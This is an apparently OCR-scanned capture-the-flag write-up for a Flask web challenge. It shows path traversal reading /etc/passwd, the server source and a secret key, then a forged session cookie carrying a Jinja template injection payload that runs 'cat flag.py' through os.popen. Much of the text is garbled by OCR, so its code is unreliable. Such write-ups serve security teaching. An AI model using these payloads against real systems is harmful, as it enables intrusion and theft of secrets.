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Internal Server Error

2657

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
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THIS IS A SAMPLE ARTICLE!
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Article Content:

[Errno 2] No such file or directory: '/home/nu111111111/articles/1'
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Article Content:

[Errno 2] No such file or directory: '/home/nu11111111l/articles/2’
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article?name=../../../etc/passwd
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Article Content:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin binx:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/shin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/shin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/ust/sbin/nologin irc:x:39:3%:ircd:/var/run/ircd:/usr/shin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/shin/nolegin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_aptx:100:65534::/nonexistent:/usr/shin/nologin messagebus:x:101:101::/nonexistent:/usr/shin/nologin
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article?name=../../../proc/self/cwd/server.py
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Article Content:

#1/usr/bin/python import os from flask import ( Flask, render_template, request, url for, redirect, session,
render_template string ) from flask_session import Session app = Flask(_name_ ) execfile('flag.py") execfile('key.py")
FLAG = flag app.secret_key = key @app.route("/n1page”, methods=["GET", "POST"]) def n1page(): if request.method !=
"POST": return redirect(url for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code =

nlcode.replace(".”, "").replace(" ", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code’] is None:
session['nTcode’] = n1code template = None if session['n1code'] is not None: template = ""<h1>N1 Page</h1> <div
class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href="/article?
name=article’>article</a>? </div> </div> "' % session['n1code’] session['n1code'] = None return

render_template string(template) @app.route("/", methods=["GET"]) def index(): return render_template("main.html")
@app.route('/article', methods=['GET']) def article(): error = 0 if 'name’ in request.args: page = request.args.get('name”)
else: page = 'article’ if page.find('flag")>=0: page = 'notallowed.txt' try: template =
open('/home/nu11111111l/articles/{}' format(page)).read() except Exception as e: template = e return
render_template(‘article.html’, template=template) if _name_ ==" main_": app.run(host='0.0.0.0',port=80,
debug=False)
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#!/usr/bin/python

import os

from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name_ )
execfile('flag.py"')
execfile('key.py")

FLAG = flag
app.secret_key = key
@app.route("/nlpage", methods=["GET", "POST"])
def nlpage():
if request.method != "POST":
return redirect(url_for("index"))
nlcode = request.form.get("nlcode") or None
if nlcode is not None:
nlcode = nlcode.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "nlcode" not in session or session['nlcode'] is None:
session[ 'nlcode'] = nlcode
template = None
if session['nlcode'] is not None:
template = '''&lt;h1&gt;N1 Page&lt;/h1&gt; &lt;div class="row&gt; &lt;div class="col-md-6 col-md-of
session['nlcode'] = None
return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=["'GET"'])
def article():
error = @
if 'name' in request.args:
page = request.args.get('name')
else:
page = ‘'article’
if page.find('flag')&gt;=0:
page = 'notallowed.txt’
try:
template = open('/home/nul1111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)

if __name__ == "_main__":

app.run(host="'0.0.0.0"',port=80, debug=False)
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if "nlcode" not in session or session['nlcode'] is None: session['nlcode'] = nlcode

template = None

if session['nlcode'] is not None:

template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : ¥%s,
session['nlcode’]

session['nlcode'] = None

return render_template_string(template)
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{'nlcode': "{{\'\'.__class__ . _mro_ [2]._ subclasses_ ()[71].__init_._globals_ [\'os\'].popen(\'cat flag.

X B K Biflask AR EN A =K.

SEY\\._class__.__mro_ [2]._ subclasses_ ()[71].__init__._ globals__[V'os\].popen(\'cat
flag.py\").read()}}'&

._class . mro_[2]

.__Subclasses__ ()[71]

.__init__._globals__[\'os\]
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article?name=../../../proc/self/cwd/key.py
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Article Content:

#l/usr/bin/python key = 'Drmhze6EPcvOfN_81Bj-nA’
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python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcvOfN_81Bj-nA" -t "{'nlcode': '{{\'\'.__class
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.eJwdikEKgCAQALBSXIYvQI2CviKxbGoRmCtZhxD_nnUbZgal2Ft2XkyiFACNaAPIjNjoOBnRDHPDfC-
_961IZcb-k3ver3_cAiBUWLAGWadOPkowdLVrYE2nR5Q-
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Pt LABRATT 8 4 i) payload i & X 4
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Send | Cancel <|v > v Target: http:/feci-2ze2kjn46iv2Tkzbf0c8.cloudecil.ichunqgiu.com f@
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Request Response
iRaw I Params | Headers | Hex lRaw Headers | Hex
Preity EE n Actions v Raw Render n Actions
1 POST /nlpage HTTE/L.l A| 1 HTTP/L.l 200 OK d
2 Host: sci-2zelkind6iviTkzbi0ck.cloudscil. ichuncgiu. com ™| 2 pate: Monm, 22 Nov 2021 14:57:13 GMT P
3 Content-Length: 7 3 Content-Type: text/html; charset=utf-g
4 Cache-Control: max-age=0 4 Content-Length: 231
5 Upgrade-Insecurs-Bequests: L 5 Connection: close
£ Origin: http://eci-2zelkindiv27kzhElcd . cloudecil. ichungiu. com & Vary: Cookie
7 Content-Type: application/x—www-form-urlencoded 7 Set-Cookie: session=eyJuMWHvZEUiomSlbGxE. ¥2uvyQ.h3dkOvATUTSvEEaMiEUyzXViBl; Hetponly; Path=
@ User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4) AppleWebKit/537.36 (EHTMG, like Gecko) & X-Via-JSL: e17d282,-

Chrome/85.0.4183.83 Safari/537.36 % X-Cache: bypass
9 Accept: 0

text/html, application/xhtwl+xml, application/xml; q=0.9, imags/avif, image/wehy, ivage/apng, ¥/*; 11 <hl>

application/signed-exchange;v=h3;q=0.9 WL Page
10 Referer: http://eci-2zelkin4fiv2Tkzbf0ch.cloudecil. ichungiu.com/ </hl>
11 Accept—Encoding: gzip, deflate fl <div class="row> <div class="col-md-§ col-md-offset-3 center"s
12 Accept-Language: zh-CI,zh;q=0.9 Hello : #!/usr/bin/python
13 Cookie: _ jsluid h=c754=78allef7eff93aaTadbe4dfoqll; session= 12

. 2TwdikEKgCAQALESX1¥vQLl2 CvikxbGoRmCtZhaD_nnUbZaallFr2XkyiFACHAAP1 N cOBnRDHPDEC—_OE1IZch-k3 13 flag = e#39;nlbook{afr_3_solved}s#39;, why you don't look at ocur <a href='/articlslname=art

18 UM LAGNadOPkowdLVE¥YE2 nRS Q- vTkpKpV IBerHygF . YZulBy. sOXIyEY IDwwOMHANZ rZpkl3 froc ?
14 Connection: close </ div>
15
16 nleode= </ div>
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